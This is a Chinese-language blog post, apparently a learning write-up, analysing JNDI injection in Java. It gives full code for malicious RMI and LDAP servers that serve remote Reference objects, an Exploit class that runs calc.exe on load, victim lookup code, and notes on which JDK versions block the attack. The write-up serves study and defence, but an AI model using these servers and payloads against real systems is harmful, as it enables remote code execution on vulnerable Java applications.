参考文章:
https://b1ue.cn/archives/529.html 
https://docs.oracle.com/javase/jndi/tutorial/TOC.html 
https://tttang.com/archive/1441/ 
https://goodapple.top/archives/696 
https://xz.aliyun.com/t/12277 
https://myzxcg.com/2021/10/Java-JNDI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/ 
 
写在前面吧: 这篇文章我早就”抄“完了,因为最近在找工作(一言难尽),过了一段时间我回来看自己写的文章,简直就是一坨。网上对这种分析的文章数不胜数,而且感觉大家写的都非常好,但是轮到自己写的时候都是稀里糊涂就写完了。说是写文章其实就是根据其他师傅的文章进行复现,debug源码。当然这其中我还是有自己提出问题的,大部分问题也都自己去验证了。
 
也许,抄着抄着就会了?
最后也是写了JNDI注入的利用工具:https://github.com/N0boy-0/JNDIExploit(正在努力完成),有什么问题可以直接issue。 
 
JNDI和各个服务的简单介绍 JNDI(Java Naming and Directory Interface)本质是可以操作目录服务、域名服务的一组接口。JNDI相当于在LDAP、RMI等服务外面再套了一层API,方便统一调用。调用JNDI的API可以定位资源和其他程序对象。JNDI可访问的现有的目录及服务有: JDBC、LDAP、RMI、DNS、NIS、CORBA。
Naming Service 命名服务 
命名服务将名称和对象进行关联,提供通过名称找到对象的操作。
Directory Service 目录服务 
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
DNS服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public  class  Test  {    public  static  void  main (String[] args)  throws  NamingException, RemoteException {         Hashtable<String, String> env = new  Hashtable <>();         env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory" );         env.put(Context.PROVIDER_URL, "dns://114.114.114.114" );         try  {             DirContext  ctx  =  new  InitialDirContext (env);             Attributes  res  =  ctx.getAttributes("baidu.com" , new  String [] {"A" });             System.out.println(res);         } catch  (NamingException e) {             e.printStackTrace();         }     } } public  class  Test  {    public  static  void  main (String[] args)  throws  NamingException, RemoteException {         try  {             DirContext  ctx  =  new  InitialDirContext ();             Attributes  res  =  ctx.getAttributes("dns:baidu.com" , new  String [] {"A" });             System.out.println(res);         } catch  (NamingException e) {             e.printStackTrace();         }     } } 
 
使用JNDI调用dns服务去查询baidu.com的ip地址
这里看到ctx是一个DirContext对象,说明他是一个目录对象,这个目录对象的属性便是baidu.com的ip记录。
RMI服务 RMI是一种用于在不同 Java 虚拟机(JVM)之间进行远程方法调用的机制。它允许对象在不同的 JVM 中进行交互,就像在同一 JVM 中调用对象的方法一样。RMI 主要用于实现分布式应用程序,允许客户端和服务器之间进行远程通信。
我们需要定义一个远程接口,该接口将声明我们希望远程调用的方法。
1 2 3 4 5 6 7 8 9 package  com.lucifer;import  java.rmi.Remote;import  java.rmi.RemoteException;public  interface  Hello  extends  Remote  {    String sayHello ()  throws  RemoteException; } 
 
实现这个接口和接口内的方法,生成的实例将会是之后远程调用方法的作用对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package  com.lucifer;import  java.rmi.server.UnicastRemoteObject;import  java.rmi.RemoteException;public  class  HelloImpl  extends  UnicastRemoteObject  implements  Hello  {    protected  HelloImpl ()  throws  RemoteException {         super ();     }     @Override      public  String sayHello ()  throws  RemoteException {         return  "Hello, world!" ;     } } 
 
创建服务端,并将对象与字符串绑定。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package  com.lucifer;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  RMIServer  {    public  static  void  main (String[] args)  {         try  {                          HelloImpl  hello  =  new  HelloImpl ();                                       Registry  registry  =  LocateRegistry.createRegistry(1099 );                                       registry.rebind("Hello" , hello);                          System.out.println("RMI Server is ready." );         } catch  (Exception e) {             e.printStackTrace();         }     } } 
 
创建客户端调用远程方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package  com.lucifer;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  RMIClient  {    public  static  void  main (String[] args)  {         try  {                          Registry  registry  =  LocateRegistry.getRegistry("localhost" , 1099 );                                       Hello  stub  =  (Hello) registry.lookup("Hello" );                                       String  response  =  stub.sayHello();             System.out.println("Response from server: "  + response);         } catch  (Exception e) {             e.printStackTrace();         }     } } 
 
客户端获取远程对象(这里其实并不是远程对象而是远程对象票据stub,然后通过stub与服务端通信)并调用方法,在服务端执行后将结果返回。其中RMI注册端就提供了一个简单的命名服务,RMI注册端负责将对象与字符串绑定起来,那为什么还要有JNDI呢?其实JNDI就是一个接口,便于统一管理这样的服务而已。
在JNDI如何调用rmi服务呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package  com.jndiTest;import  com.lucifer.Hello;import  javax.naming.InitialContext;import  javax.naming.NamingException;import  java.rmi.RemoteException;public  class  JNDILookup  {    public  static  void  main (String[] args)  {         try  {             String  url  =  "rmi://127.0.0.1:1099/Hello" ;             InitialContext  initialContext  =  new  InitialContext ();             Hello  lookup  =  (Hello) initialContext.lookup(url);             System.out.println(lookup.sayHello());         } catch  (NamingException e) {             e.printStackTrace();         } catch  (RemoteException e) {             throw  new  RuntimeException (e);         }     } } 
 
运行之后会输出Hello, world! JNDI已经成功调用了本地开启的RMI服务。
LDAP服务 LDAP(轻型目录访问协议)是一种软件协议 ,使任何人都可以在公共互联网或公司内网上查找网络中的组织,个人和其他资源(例如文件和设备)的数据 。LDAP 是目录访问协议(DAP)的“轻量级”版本,它是 X.500( 网络中目录服务的标准 )的一部分。
目录告诉用户某些内容在网络中的位置。在TCP / IP 网络上,域名系统(DNS)是用于将域名与特定网络地址(网络上的唯一位置)相关联的目录系统。但是,用户可能不知道域名。LDAP 允许用户搜索个人,而无需知道他们的位置(尽管其他信息将对搜索有所帮助)。
dc(Domain Component)用于表示域名的组成部分。它通常用于定义 LDAP 目录的根节点。例如dc=luc1fer,dc=cn.
cn(Common Name)用于表示某个具体的对象或条目的名称,通常用于用户、组或其他实体的名称。例如cn=John Doe.
dn(Distinguished Name)是该条目的唯一标识符,例如uid=john,ou=users,dc=luc1fer,dc=cn,特别指明一个条目.
下面是一个例子便于理解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import  cn.luc1fer.servers.LDAPServer;import  com.sun.jndi.dns.DnsContext;import  com.sun.jndi.ldap.LdapCtx;import  com.unboundid.ldap.listener.InMemoryDirectoryServer;import  com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import  com.unboundid.ldap.listener.InMemoryListenerConfig;import  com.unboundid.ldap.sdk.Attribute;import  com.unboundid.ldap.sdk.LDAPException;import  com.unboundid.ldif.LDIFException;import  javax.naming.InitialContext;import  javax.naming.NamingException;import  javax.naming.directory.Attributes;import  javax.naming.directory.InitialDirContext;import  javax.net.ServerSocketFactory;import  javax.net.SocketFactory;import  javax.net.ssl.SSLSocketFactory;import  java.io.IOException;import  java.net.InetAddress;import  java.net.UnknownHostException;import  java.rmi.RemoteException;public  class  LdapServerTest  {    private  void  start (String ip, Integer port)  throws  UnknownHostException, LDAPException, NamingException, RemoteException {                  InMemoryDirectoryServerConfig  config  =  new  InMemoryDirectoryServerConfig ("dc=luc1fer,dc=cn" );                  InMemoryListenerConfig  listenConfig  =  new  InMemoryListenerConfig (                 "ldap" ,                 InetAddress.getByName(ip),                 port,                 ServerSocketFactory.getDefault(),                 SocketFactory.getDefault(),                 (SSLSocketFactory) SSLSocketFactory.getDefault()         );         config.setListenerConfigs(listenConfig);                  InMemoryDirectoryServer  ds  =  new  InMemoryDirectoryServer (config);         ds.startListening();                  ds.add(                 "dc=luc1fer,dc=cn" ,                 new  Attribute ("objectClass" , "top" ),                 new  Attribute ("objectClass" , "domain" ),                 new  Attribute ("dc" , "luc1fer" )         );                  ds.add(                 "ou=users,dc=luc1fer,dc=cn" ,                 new  Attribute ("objectClass" , "organizationalUnit" ),                 new  Attribute ("ou" , "users" )         ); 		         ds.add(                 "uid=john,ou=users,dc=luc1fer,dc=cn" ,                 new  Attribute ("objectClass" , "inetOrgPerson" ),                 new  Attribute ("uid" , "john" ),                 new  Attribute ("cn" , "John Doe" ),                 new  Attribute ("sn" , "Doe" ),                 new  Attribute ("mail" , "john.doe@example.com" ),                 new  Attribute ("userPassword" , "password123" ),                 new  Attribute ("telephoneNumber" , "+1555123456" ),                 new  Attribute ("title" , "Software Engineer" )         );         System.out.println("LDAP server started successfully..." );     }     public  static  void  main (String[] args)  throws  IOException, LDAPException, NamingException {         LdapServerTest  ldapServer  =  new  LdapServerTest ();         ldapServer.start("127.0.0.1" , 389 );         InitialDirContext  initialContext  =  new  InitialDirContext ();         Attributes  attributes  =  initialContext.getAttributes("ldap://127.0.0.1:389/uid=john,ou=users,dc=luc1fer,dc=cn" );         System.out.println(attributes.get("title" ));     } } 
 
LDAP和DNS一样提供的是一个目录服务,生成的是一个树形目录结构,在检索的时候一级一级的检索下去,从上面的例子不难看出LDAP可以用来做身份认证。
1 2 3 4 5 ---luc1fer.cn  |  ---users   |   --- john (各种属性) 
 
lookup方法 在JNDI中有一个核心方法,也是JNDI注入漏洞触发的方法lookup()。InitialDirContext.lookup()和InitialContext.lookup()均能触发JNDI注入。
1 2 3 4 5 6 Hashtable<Object, Object> env = new  Hashtable <>(); env.put(Context.PROVIDER_URL, "dns://114.114.114.114" ); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.dns.DnsContextFactory" ); InitialContext  initialContext  =  new  InitialContext (env);initialContext.lookup("rmi://127.0.0.1:1099/Exploit" ); 
 
JNDI的InitialContext初始化的参数可以指定初始化工厂Context.INITIAL_CONTEXT_FACTORY和提供服务的地址Context.PROVIDER_URL,例如DNS服务可以指定DNS服务器的位置,而初始化工厂提供了该服务的初始上下文。在InitialContext初始化的时候,如果用户指定了INITIAL_CONTEXT_FACTORY便会调用getDefaultInitCtx()将用户指定的ContextFactory进行实例化后返回。
lookup方法有一个特性就是动态解析协议,如果方法参数是一个绝对地址例如rmi://xxxxx/xx或者ldap://xxxx/xxx的情况下,lookup方法会动态创建对应的SchemaUrlContext。具体做法:在lookup方法中会解析传入字符串的协议 (由getURLScheme方法来完成),如果协议不为空则到com.sun.jndi.url对应的包下加载对应的URLContextFactory。
lookup的动态解析:只有在scheme为空的情况下才会使用指定的ContextFactory,否则会根据协议使用默认的UrlContextFactory。
举一个例子理解吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package  com.jndiTest;import  com.lucifer.Hello;import  javax.naming.Context;import  javax.naming.InitialContext;import  javax.naming.NamingException;import  java.rmi.RemoteException;import  java.util.Hashtable;public  class  JNDILookup  {    public  static  void  main (String[] args)  {         try  {                          Hashtable<Object, Object> env = new  Hashtable <>();             env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory" );             env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099/" );             InitialContext  initialContext  =  new  InitialContext (env);             Hello  lookup  =  (Hello) initialContext.lookup("Hello" );             System.out.println("response:" +lookup.sayHello());                          Hello  lookup1  =  (Hello) initialContext.lookup("rmi://127.0.0.1:1098/Exploit" );             System.out.println("response:" +lookup1.sayHello());         } catch  (NamingException e) {             e.printStackTrace();         } catch  (RemoteException e) {             throw  new  RuntimeException (e);         }     } } 
 
在本机开启两个服务,一个是正常的RMI服务,另一个是恶意的RMI服务,可以看到即使在指定RMI服务地址的情况下,使用绝对地址依然会触发漏洞。
Reference Reference的作用是什么?为什么要引入它?
在Naming Service中,有一些庞大的对象存储起来可能并不方便且有些信息也不是你所需要的,所以引入了Reference,Reference中保存了如何生成这个对象的具体信息。Reference就相当于一个凭证,你可以利用这个凭证获取到你想要的对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package  javax.naming;public  class  Reference  implements  Cloneable , java.io.Serializable {         protected  String className;               protected  Vector<RefAddr> addrs = null               protected  String  classFactory  =  null ;             protected  String  classFactoryLocation  =  null ;    } 
 
RMI服务执行方法的是服务端,如何影响到客户端呢?
1 2 3 4 Context  context  =  new   InitialContext ();context.lookup("rmi://10.0.0.2:1099/evil" ); 
 
在JNDI服务中,RMI服务端除了直接绑定远程对象之外,可以通过Reference类来绑定一个外部的远程对象。当客户端在lookup()查找这个远程对象时,服务端会将Reference传给客户端,客户端根据这个Reference获取相应的object factory,最终通过factory类将reference转换为具体的对象实例,JNDI调用远程Reference的时候会先尝试从本地的CLASSPATH中寻找该类,如果没有才用URLClassLoader远程进行加载。之后会执行该类的静态代码块、代码块、无参构造函数和getObjectInstance方法。
我看到一张图,来自https://goodapple.top/archives/696 
Reference的使用 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package  com.jndiTest;import  com.sun.jndi.rmi.registry.ReferenceWrapper;import  javax.naming.NamingException;import  javax.naming.Reference;import  java.rmi.AlreadyBoundException;import  java.rmi.RemoteException;import  java.rmi.registry.LocateRegistry;import  java.rmi.registry.Registry;public  class  JNDIInjection  {    public  static  void  main (String[] args)  throws  RemoteException, NamingException, AlreadyBoundException {         String  url  =  "http://127.0.0.1:80/" ;         Registry  registry  =  LocateRegistry.createRegistry(1099 );         Reference  reference  =  new  Reference ("Exploit" , "Exploit" , url);         ReferenceWrapper  referenceWrapper  =  new  ReferenceWrapper (reference);         registry.bind("Exploit" ,referenceWrapper);     } } 
 
这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢? 其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。
具体的调用堆栈如下(环境为jdk8u65):
1 2 3 4 5 6 getObjectInstance:320 , NamingManager (javax.naming.spi), NamingManager.java decodeObject:464 , RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java lookup:124 , RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java lookup:417 , InitialContext (javax.naming), InitialContext.java main:18 , JNDILookup (com.jndiTest), JNDILookup.java 
 
最后在NamingManager.getObjectInstance()中调用了getObjectFactoryFromReference()完成了远程加载类并初始化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static  ObjectFactory getObjectFactoryFromReference (         Reference ref, String factoryName)         throws  IllegalAccessException,         InstantiationException,         MalformedURLException {         Class<?> clas = null ;                  try  {              clas = helper.loadClass(factoryName);           } catch  (ClassNotFoundException e) {                                   }                           String codebase;         if  (clas == null  &&                 (codebase = ref.getFactoryClassLocation()) != null ) {             try  {                 clas = helper.loadClass(factoryName, codebase);               } catch  (ClassNotFoundException e) {             }         }         return  (clas != null ) ? (ObjectFactory) clas.newInstance() : null ;     } 
 
JNDI+RMI(Reference) JNDIServer,运行jndi服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package  com.jndiTest;import  com.sun.jndi.rmi.registry.ReferenceWrapper;import  javax.naming.NamingException;import  javax.naming.Reference;import  java.rmi.AlreadyBoundException;import  java.rmi.RemoteException;import  java.rmi.registry.Registry;import  java.rmi.registry.LocateRegistry;public  class  JNDIServer  {    public  static  void  main (String[] args)  throws  RemoteException, NamingException, AlreadyBoundException {         Registry  registry  =  LocateRegistry.createRegistry(1099 );         Reference  Exploit  =  new  Reference ("Exploit" , "Exploit" , "http://localhost:8000/" );         ReferenceWrapper  refObjWrapper  =  new  ReferenceWrapper (Exploit);         registry.bind("Exploit" , refObjWrapper);     } } 
 
JNDIClient,受害者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package  com.jndiTest;import  javax.naming.Context;import  javax.naming.InitialContext;import  javax.naming.NamingException;import  javax.naming.directory.*;import  java.util.Hashtable;import  java.util.Properties;public  class  JNDILookup  {    public  static  void  main (String[] args)  {         try  {             String  url  =  "rmi://127.0.0.1:1099/Exploit" ;             InitialContext  initialContext  =  new  InitialContext ();             initialContext.lookup(url);         } catch  (NamingException e) {             e.printStackTrace();         }     } } 
 
恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  javax.naming.Context;import  javax.naming.Name;import  javax.naming.spi.ObjectFactory;import  java.util.Hashtable;public  class  Exploit  implements  ObjectFactory  {    static  {         System.err.println("lucifer" );         try  {             String[] cmd = {"calc.exe" };             java.lang.Runtime.getRuntime().exec(cmd);         } catch  (Exception e) {             e.printStackTrace();         }     }     public  Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)  throws  Exception {         return  null ;     } } 
 
只需要将恶意类编译为class文件,在本地开启一个http服务器,可以用python3内置的http.server:python -m http.server 8000,然后将class文件复制到当前目录就可以了。
高版本之后的Reference攻击就会失效了,因为从JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。
原因探析: 
在之前的版本中是没有这个校验的,直接就会调用getObjectInstance()。
RMI远程对象引用安全限制 
在RMI服务中引用远程对象将受本地Java环境限制,本地的java.rmi.server.useCodebaseOnly配置如果为true(禁止引用远程对象),为false则允许加载远程类文件。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象),一样无法调用远程的引用对象。
JDK5u45、JDK6u45、JDK7u21、JDK8u121开始,java.rmi.server.useCodebaseOnly默认值改为了true。 
JDK6u132、JDK7u122、JDK8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值改为了 false。 
 
在高版本中测试远程对象引用可以使用如下方式允许加载远程的引用对象
1 2 System.setProperty("java.rmi.server.useCodebaseOnly" , "false" ); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase" , "true" ); 
 
JNDI+LDAP(Reference) 如何构建LDAP恶意服务呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package  com.jndiTest;import  com.unboundid.ldap.listener.InMemoryDirectoryServer;import  com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import  com.unboundid.ldap.listener.InMemoryListenerConfig;import  com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import  com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import  com.unboundid.ldap.sdk.Entry;import  com.unboundid.ldap.sdk.LDAPResult;import  com.unboundid.ldap.sdk.ResultCode;import  javax.net.ServerSocketFactory;import  javax.net.SocketFactory;import  javax.net.ssl.SSLSocketFactory;import  java.net.InetAddress;public  class  ldapserver  {         public  static  final  String  BIND_HOST  =  "127.0.0.1" ;          public  static  final  int  SERVER_PORT  =  3890 ;     public  static  void  main (String[] args)  {         try  {                          InMemoryDirectoryServerConfig  config  =  new  InMemoryDirectoryServerConfig ("dc=test,dc=org" );                          config.setListenerConfigs(new  InMemoryListenerConfig (                     "listen" , InetAddress.getByName(BIND_HOST), SERVER_PORT,                     ServerSocketFactory.getDefault(), SocketFactory.getDefault(),                     (SSLSocketFactory) SSLSocketFactory.getDefault())             );                          config.addInMemoryOperationInterceptor(new  OperationInterceptor ());                          InMemoryDirectoryServer  ds  =  new  InMemoryDirectoryServer (config);                          ds.startListening();             System.out.println("LDAP服务启动成功" );         }catch  (Exception e){             e.printStackTrace();         }     }     private  static  class  OperationInterceptor  extends  InMemoryOperationInterceptor  {         @Override          public  void  processSearchResult (InMemoryInterceptedSearchResult result)  {             String  base   =  result.getRequest().getBaseDN();             Entry   entry  =  new  Entry (base);             try  {                                  String  className  =  "Exploit" ;                  entry.addAttribute("javaClassName" , className);                 entry.addAttribute("javaFactory" , className);                                  entry.addAttribute("javaCodeBase" , "http://localhost:8080/" );                                  entry.addAttribute("objectClass" , "javaNamingReference" );                 result.sendSearchEntry(entry);                 result.setResult(new  LDAPResult (0 , ResultCode.SUCCESS));             } catch  (Exception e1) {                 e1.printStackTrace();             }         }     } } 
 
上面是恶意的ldap服务,使用了拦截器,当请求ldap服务时,直接返回包含有恶意地址的Reference。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package  com.jndiTest;import  javax.naming.Context;import  javax.naming.InitialContext;import  javax.naming.NamingException;import  javax.naming.directory.*;import  java.util.Hashtable;import  java.util.Properties;public  class  JNDILookup  {    public  static  void  main (String[] args)  {         try  {             String  url  =  "ldap://127.0.0.1:3890/Exploit" ;             InitialContext  initialContext  =  new  InitialContext ();             initialContext.lookup(url);         } catch  (NamingException e) {             e.printStackTrace();         }     } } 
 
执行的话和rmi一样只是服务换了一下而已,很多师傅都使用拦截器去实现恶意ldap Server。
还是跟RMI恶意服务一样,直接将恶意的Reference绑定到ldap服务的字符串上就好了。如何用ldap服务绑定恶意Reference?
方式一:
1 2 3 4 5 ds.add("dn: cn=evil,dc=javasec,dc=eki,dc=xyz" ,         "ObjectClass: javaNamingReference" ,         "javaCodebase: http://localhost:16000/" ,         "JavaFactory: xyz.eki.vuljndi.remote.DemoFactory" ,         "javaClassName: whatever" ); 
 
添加一条这样的恶意条目就行,如果一开始写的话,这些属性都需要去文档里找(我找了一圈也没找到)。但是通过看源码也可以构造出这样的恶意条目,后面讲。
方式二:就是用JNDI获取服务之后绑定对应的Reference,我使用的是这个方式,因为简单且便于理解(并不是因为这种方式有多好,只作讨论,其实拦截器的实现是比较好的,有助于解析用户执行,后续会写在github项目中)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import  cn.luc1fer.servers.HttpFileServer;import  com.unboundid.ldap.listener.InMemoryDirectoryServer;import  com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import  com.unboundid.ldap.listener.InMemoryListenerConfig;import  com.unboundid.ldap.sdk.LDAPException;import  javax.naming.Context;import  javax.naming.NamingException;import  javax.naming.Reference;import  javax.naming.directory.InitialDirContext;import  javax.net.ServerSocketFactory;import  javax.net.SocketFactory;import  javax.net.ssl.SSLSocketFactory;import  java.io.IOException;import  java.net.InetAddress;import  java.net.UnknownHostException;import  java.rmi.RemoteException;import  java.util.Hashtable;public  class  EvilLdapServer  {    private  String ip;     private  Integer port;     public  EvilLdapServer (String ip, Integer port)  {         this .ip = ip;         this .port = port;     }     public  void  start ()  throws  UnknownHostException, LDAPException, NamingException, RemoteException {                  InMemoryDirectoryServerConfig  config  =  new  InMemoryDirectoryServerConfig ("dc=Exploit" );         config.setSchema(null );                  InMemoryListenerConfig  listenConfig  =  new  InMemoryListenerConfig (                 "ldap" ,                 InetAddress.getByName(ip),                 port,                 ServerSocketFactory.getDefault(),                 SocketFactory.getDefault(),                 (SSLSocketFactory) SSLSocketFactory.getDefault()         );         config.setListenerConfigs(listenConfig);                  InMemoryDirectoryServer  ds  =  new  InMemoryDirectoryServer (config);         ds.startListening();                  Reference  reference  =  new  Reference ("Exploit" , "Exploit" , "http://127.0.0.1:8080/" );         Hashtable<Object, Object> env = new  Hashtable <>();         env.put(Context.PROVIDER_URL,"ldap://" +ip+":" +port);         env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory" );         InitialDirContext  initialDirContext  =  new  InitialDirContext (env);         initialDirContext.rebind("dc=Exploit" ,reference);         System.out.println("LDAP server started successfully..." );         System.out.println("LDAP server address is " +"ldap://" +ip+":" +port+"/dc=Exploit" );     }     public  static  void  main (String[] args)  throws  IOException, LDAPException, NamingException {         EvilLdapServer  evilLdapServer  =  new  EvilLdapServer ("127.0.0.1" , 389 );         evilLdapServer.start();     } } 
 
现在来说一下,根据源码如何看ldap中的属性如何设置。
在initialContext.lookup(“ldap://127.0.0.1:389/dc=Exploit”)处打断点,其实就是跟RMI一样找解析Reference的代码位置。
1 2 3 4 5 6 7 8 // 调用栈 测试环境依然为8u65 c_lookup:1049, LdapCtx (com.sun.jndi.ldap), LdapCtx.java p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx), ComponentContext.java lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx), PartialCompositeContext.java lookup:205, GenericURLContext (com.sun.jndi.toolkit.url), GenericURLContext.java lookup:94, ldapURLContext (com.sun.jndi.url.ldap), ldapURLContext.java lookup:417, InitialContext (javax.naming), InitialContext.java main:10, JNDILookup (com.jndiTest), JNDILookup.java 
 
在上面介绍Reference的时候也有过同样的分析,上面的调用栈中就是这个方法触发了最后的getObjectInstance(),所以找到了第一个属性javaClassName必须有
继续往下看一眼就知道返回的对象最后传入了getObjectInstance()根据之前的调用栈,不放心的话可以调试之前的Reference看看传入的第一个参数是啥
继续跟进decodeObject()
到底要进哪个分支呢?看名字就知道第一个是反序列化,所以反序列化的属性就是
1 2 3 JAVA_ATTRIBUTES[2 ] = javaClassName JAVA_ATTRIBUTES[4 ] = javaCodeBase JAVA_ATTRIBUTES[1 ] = javaSerializedData 
 
这为我们之后反序列化做准备。
最后一个铁定就是解析Reference的了因为写了decodeReference,所需的属性:
1 2 3 4 JAVA_ATTRIBUTES[2] = javaClassName JAVA_ATTRIBUTES[0] = objectClass JAVA_ATTRIBUTES[3] = javaFactory JAVA_ATTRIBUTES[4] = javaCodeBase 
 
这里需要注意要想调用到decodeReference()需要var1不能为空且var1包含javanamingreference或者javaNamingReference其中一个。
同样也给出代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import  cn.luc1fer.servers.HttpFileServer;import  com.unboundid.ldap.listener.InMemoryDirectoryServer;import  com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import  com.unboundid.ldap.listener.InMemoryListenerConfig;import  com.unboundid.ldap.sdk.Attribute;import  com.unboundid.ldap.sdk.LDAPException;import  javax.naming.NamingException;import  javax.net.ServerSocketFactory;import  javax.net.SocketFactory;import  javax.net.ssl.SSLSocketFactory;import  java.io.IOException;import  java.net.InetAddress;import  java.net.UnknownHostException;import  java.rmi.RemoteException;public  class  EvilLdapServer2  {    private  String ip;     private  Integer port;     public  EvilLdapServer2 (String ip, Integer port)  {         this .ip = ip;         this .port = port;     }     public  void  start ()  throws  UnknownHostException, LDAPException, NamingException, RemoteException {                  InMemoryDirectoryServerConfig  config  =  new  InMemoryDirectoryServerConfig ("dc=Exploit" );         config.setSchema(null );                  InMemoryListenerConfig  listenConfig  =  new  InMemoryListenerConfig (                 "ldap" ,                 InetAddress.getByName(ip),                 port,                 ServerSocketFactory.getDefault(),                 SocketFactory.getDefault(),                 (SSLSocketFactory) SSLSocketFactory.getDefault()         );         config.setListenerConfigs(listenConfig);                  InMemoryDirectoryServer  ds  =  new  InMemoryDirectoryServer (config);         ds.add("dc=Exploit" ,                 new  Attribute ("javaClassName" ,"Exploit" ),                 new  Attribute ("objectClass" ,"javanamingreference" ),                 new  Attribute ("javaFactory" ,"Exploit" ),                 new  Attribute ("javaCodeBase" ,"http://127.0.0.1:8080/" )         );         ds.startListening();         System.out.println("LDAP server started successfully..." );         System.out.println("LDAP server address is " +"ldap://" +ip+":" +port+"/dc=Exploit" );     }     public  static  void  main (String[] args)  throws  IOException, LDAPException, NamingException {         EvilLdapServer2  evilLdapServer  =  new  EvilLdapServer2 ("127.0.0.1" , 389 );         evilLdapServer.start();     } } 
 
LDAP远程对象引用安全限制 
LDAP在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase的默认设置为了false。(但不受java.rmi.server.useCodebaseOnly影响)
我下载了几个不同版本的jdk对JNDI+RMI和JNDI+LDAP进行测试。
jdk_version 
JNDI+RMI 
JNDI+LDAP 
 
 
8u65 
success 
success 
 
8u111 
success 
success 
 
8u121 
fail 
success 
 
8u201 
fail 
fail 
 
JNDI注入高版本失败的原因 先说一下JNDI+LDAP,在jdk8u341中默认将com.sun.jndi.ldap.object.trustURLCodebase设置为False,且在helper.loadClass()时会单独检测trustURLCodebase,导致远程加载class失败。
LDAP可以通过loadClassWithoutInit()加载本地工厂类,但是不能利用BeanFactory,原因下面分析,只有下面的loadClass方法才会检测trustURLCodebase。
在RMI的JNDI注入中,会调用com.sun.jndi.rmi.registry.RegistryContext#decodeObject方法,在这里判断了trustURLCodebase,在高版本的jdk中默认将trustURLCodebase赋值为false。
所以想要绕过这个if语句需要让var8.getFactoryClassLocation() == null,而var8就是我们构造的恶意Reference。
